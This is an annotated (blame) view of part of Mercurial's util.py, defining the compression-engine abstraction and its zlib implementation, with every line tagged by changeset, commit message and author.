  3209
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3210
        """Returns the name of the compression engine.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3211
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3212
        This is the key the engine is registered under.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3213
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3214
        This method must be implemented.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3215
        """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3216
        raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3217
30446
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3218
    def available(self):
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3219
        """Whether the compression engine is available.
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3220
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3221
        The intent of this method is to allow optional compression engines
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3222
        that may not be available in all installations (such as engines relying
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3223
        on C extensions that may not be present).
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3224
        """
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3225
        return True
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
  3226
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3227
    def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3228
        """Describes bundle identifiers for this engine.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3229
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3230
        If this compression engine isn't supported for bundles, returns None.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3231
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3232
        If this engine can be used for bundles, returns a 2-tuple of strings of
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3233
        the user-facing "bundle spec" compression name and an internal
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3234
        identifier used to denote the compression format within bundles. To
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3235
        exclude the name from external usage, set the first element to ``None``.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3236
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3237
        If bundle compression is supported, the class must also implement
30369
673f0fdc1046 util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30366
diff changeset
  3238
        ``compressstream`` and `decompressorreader``.
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3239
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3240
        The docstring of this method is used in the help system to tell users
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3241
        about this engine.
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3242
        """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3243
        return None
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3244
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3245
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3246
        """Declare support for this compression format on the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3247
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3248
        If this compression engine isn't supported for compressing wire
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3249
        protocol payloads, returns None.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3250
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3251
        Otherwise, returns ``compenginewireprotosupport`` with the following
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3252
        fields:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3253
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3254
        * String format identifier
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3255
        * Integer priority for the server
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3256
        * Integer priority for the client
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3257
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3258
        The integer priorities are used to order the advertisement of format
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3259
        support by server and client. The highest integer is advertised
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3260
        first. Integers with non-positive values aren't advertised.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3261
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3262
        The priority values are somewhat arbitrary and only used for default
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3263
        ordering. The relative order can be changed via config options.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3264
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3265
        If wire protocol compression is supported, the class must also implement
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3266
        ``compressstream`` and ``decompressorreader``.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3267
        """
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3268
        return None
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3269
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3270
    def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3271
        """Header added to revlog chunks that identifies this engine.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3272
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3273
        If this engine can be used to compress revlogs, this method should
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3274
        return the bytes used to identify chunks compressed with this engine.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3275
        Else, the method should return ``None`` to indicate it does not
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3276
        participate in revlog compression.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3277
        """
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3278
        return None
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3279
30366
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3280
    def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3281
        """Compress an iterator of chunks.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3282
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3283
        The method receives an iterator (ideally a generator) of chunks of
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3284
        bytes to be compressed. It returns an iterator (ideally a generator)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3285
        of bytes of chunks representing the compressed output.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3286
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3287
        Optionally accepts an argument defining how to perform compression.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3288
        Each engine treats this argument differently.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3289
        """
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3290
        raise NotImplementedError()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3291
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3292
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3293
        """Perform decompression on a file object.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3294
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3295
        Argument is an object with a ``read(size)`` method that returns
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3296
        compressed data. Return value is an object with a ``read(size)`` that
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3297
        returns uncompressed data.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3298
        """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3299
        raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3300
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3301
    def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3302
        """Obtain an object that can be used to compress revlog entries.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3303
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3304
        The object has a ``compress(data)`` method that compresses binary
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3305
        data. This method returns compressed binary data or ``None`` if
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3306
        the data could not be compressed (too small, not compressible, etc).
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3307
        The returned data should have a header uniquely identifying this
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3308
        compression format so decompression can be routed to this engine.
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3309
        This header should be identified by the ``revlogheader()`` return
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3310
        value.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3311
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3312
        The object has a ``decompress(data)`` method that decompresses
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3313
        data. The method will only be called if ``data`` begins with
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3314
        ``revlogheader()``. The method should return the raw, uncompressed
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3315
        data or raise a ``RevlogError``.
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3316
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3317
        The object is reusable but is not thread safe.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3318
        """
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3319
        raise NotImplementedError()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3320
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3321
class _zlibengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3322
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3323
        return 'zlib'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3324
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3325
    def bundletype(self):
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3326
        """zlib compression using the DEFLATE algorithm.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3327
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3328
        All Mercurial clients should support this format. The compression
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3329
        algorithm strikes a reasonable balance between compression ratio
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3330
        and size.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
  3331
        """
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3332
        return 'gzip', 'GZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3333
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3334
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3335
        return compewireprotosupport('zlib', 20, 20)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3336
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3337
    def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3338
        return 'x'
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3339
30366
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3340
    def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3341
        opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3342
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3343
        z = zlib.compressobj(opts.get('level', -1))
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3344
        for chunk in it:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3345
            data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3346
            # Not all calls to compress emit data. It is cheaper to inspect
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3347
            # here than to feed empty chunks through generator.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3348
            if data:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3349
                yield data
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3350
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3351
        yield z.flush()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
  3352
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3353
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3354
        def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3355
            d = zlib.decompressobj()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3356
            for chunk in filechunkiter(fh):
30545
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30482
diff changeset
  3357
                while chunk:
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30482
diff changeset
  3358
                    # Limit output size to limit memory.
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30482
diff changeset
  3359
                    yield d.decompress(chunk, 2 ** 18)
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30482
diff changeset
  3360
                    chunk = d.unconsumed_tail
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3361
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3362
        return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3363
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3364
    class zlibrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3365
        def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3366
            insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3367
            # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3368
            assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3369
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3370
            if insize < 44:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3371
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3372
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3373
            elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3374
                compressed = zlib.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3375
                if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3376
                    return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3377
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3378
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3379
            # zlib makes an internal copy of the input buffer, doubling
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3380
            # memory usage for large inputs. So do streaming compression
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3381
            # on large inputs.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3382
            else:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3383
                z = zlib.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3384
                parts = []
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3385
                pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3386
                while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3387
                    pos2 = pos + 2**20
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3388
                    parts.append(z.compress(data[pos:pos2]))
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3389
                    pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3390
                parts.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3391
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3392
                if sum(map(len, parts)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3393
                    return ''.join(parts)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3394
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3395
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3396
        def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3397
            try:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3398
                return zlib.decompress(data)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3399
            except zlib.error as e:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3400
                raise error.RevlogError(_('revlog decompress error: %s') %
37087
f0b6fbea00cf stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37086
diff changeset
  3401
                                        stringutil.forcebytestr(e))
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3402
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3403
    def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3404
        return self.zlibrevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3405
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3406
compengines.register(_zlibengine())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3407
